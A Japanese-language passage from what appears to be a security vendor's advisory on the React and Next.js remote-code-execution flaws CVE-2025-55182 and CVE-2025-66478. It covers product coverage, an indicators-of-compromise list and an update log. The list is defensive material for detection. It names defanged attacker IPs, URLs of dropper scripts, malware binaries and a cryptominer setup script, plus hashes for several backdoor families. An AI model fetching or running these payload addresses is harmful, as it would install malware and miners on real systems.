Cortex Cloud は、アプリケーションランドスケープ全体における CVE-2025-55182 および CVE-2025-66478 の範囲を迅速に特定するための包括的な ASPM 機能を提供します。リアルタイムの SBOM 可視化を通じて、セキュリティチームはソフトウェアインベントリを即座にクエリし、脆弱な React (バージョン 19.0〜19.2) および Next.js (バージョン 15.x〜16.x) パッケージの特定のインスタンスをピンポイントで特定できます。プラットフォームの Operational Risk モデルは、コンポーネントの健全性とフラグ付けされたリスクを評価することで、優先順位付けをさらに支援します。重要な点として、チームは予防優先のガードレールを強制して、これらの重大な脆弱性を含むビルドを自動的にブロックできます。これにより、認可されていない、またはパッチが適用されていない Flight プロトコル実装に依存するアプリケーションが展開されることはなくなり、RCE ベクトルが環境に侵入するのを効果的に阻止します。
Prisma Cloud
Prisma Cloud は、コードベース、レジストリ、およびランタイム環境内のこれらの重大な脆弱性の存在を検出します。プラットフォームの脆弱性スキャナーは、CVE-2025-55182 および CVE-2025-66478 に関連する影響を受ける react-server および next パッケージの使用を具体的に識別します。検出以外にも、これらの高深刻度の結果が検出された場合にビルドと展開をアクティブにブロックする強制ルールを設定できます。これらのリスクを表面化し、重大な CVE に対する不合格しきい値を強制することで、Prisma Cloud はチームが影響を受けやすいバージョンを実行しているアプリケーションのリリースを防ぎ、強化されパッチが適用されたフレームワークのみが本番環境に到達することを保証します。
侵害の指標 (Indicators of Compromise)
- 140[.]99[.]223[.]178
- 156[.]234[.]209[.]103
- 38[.]162[.]112[.]141
- 45[.]32[.]158[.]54
- 46[.]36[.]37[.]85
- 47[.]84[.]79[.]46
- 95[.]169[.]180[.]135
- 45.134.174[.]235/2.sh
- 45.134.174[.]235/solra
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://156[.]234[.]209[.]103:20912/get[.]sh
- hxxp://156[.]234[.]209[.]103:20913/get[.]sh
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://95[.]169[.]180[.]135:8443/pamssod
- hxxp://res[.]qiqigece[.]top/nginx1
- hxxps://raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh
- hxxps://sup001[.]oss-cn-hongkong[.]aliyuncs[.]com/123/python1[.]sh
- reactcdn[.]windowserrorapis[.]com
- res[.]qiqigece[.]top
- ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837
- f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea
- fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125
BPFDoor
- 140.99.223[.]178/32736
- 1f3f0695c7ec63723b2b8e9d50b1838df304821fcb22c7902db1f8248a812035
EtherRAT
- hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh
Noodle RAT
- 192.238.202[.]17
- tcp://vip[.]kof97.lol:443
- hxxp://146.88.129[.]138:5511/443nb64
- 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f
SNOWLIGHT
- 115[.]42[.]60[.]223
- a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- 1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
- 18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b
- 1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e
- 1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20
- 1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b
- 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4
- 2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc
- 4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948
- 55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
- 62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
- 7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53
- 7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a
- 9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624
- ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693
- ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6
- b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787
- bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f
- bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a
- d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16
- d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0
- e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879
VSHell
- 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
追加リソース
- 中国の進行中のサイバー戦争における UNC5174 の進化:SNOWLIGHT から VShell へ – ブログ, Sysdig
- Bringing Access Back — Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect – Google Cloud Blog
- UNC5174 Functions as an Initial Access Broker, Exploiting Vulnerabilities – Hive Pro Vulnerability Report
太平洋標準時午後3時45分更新:重要な更新を追加しました。これには、悪用後の活動セクションと製品カバレッジが含まれます。新しい活動には、スキャンと偵察、クラウド認証情報の窃取、悪意のあるドロッパースクリプト、クリプトマイニング、バックドア NOODLERAT の展開、SNOWLIGHT と VShell の実行、および中国に関連する活動が含まれます。
2025年12月9日午後2時 (太平洋標準時) 更新:重要な更新を追加しました。これには、悪用後の活動セクションにおける詳細の追加が含まれます。新しいサブセクションには、EtherRAT を使用した DPRK ツールとの重複を共有する活動、Linux バックドアである BPFDoor、および新しい Auto-color バリアント (Linux バックドア) に関する情報が含まれます。侵害の指標 (IOC) セクションを更新しました。新しい Threat Prevention シグネチャを追加しました。
2025年12月10日 午後1時30分(PT)更新:「侵害後の活動 (Post-Exploitation Activity)」セクションに、React2Shell エクスプロイトの試みに関するサブセクションを追加しました。また、Cortex XDR プレイブックのカバレッジと情報を追加しました。
2025年12月11日午後1時30分(太平洋標準時)更新:ポストエクスプロイテーション活動セクション内のReact2Shellエクスプロイト試行に関するサブセクションにスクリプトを追加。Cortex Xpanseの記述を修正。
2025年12月12日 午後1時40分(太平洋標準時)更新:CL-STA-1015の帰属(アトリビューション)に関する記述を変更し、BPFDoorの名称をKSwapDoorに更新するとともに詳細を追加。
2025年12月15日 午後2時00分(太平洋標準時)更新:エグゼクティブサマリーのセクションにKSwapDoorに関する更新情報を追加しました。また、明確化のために微修正を行いました。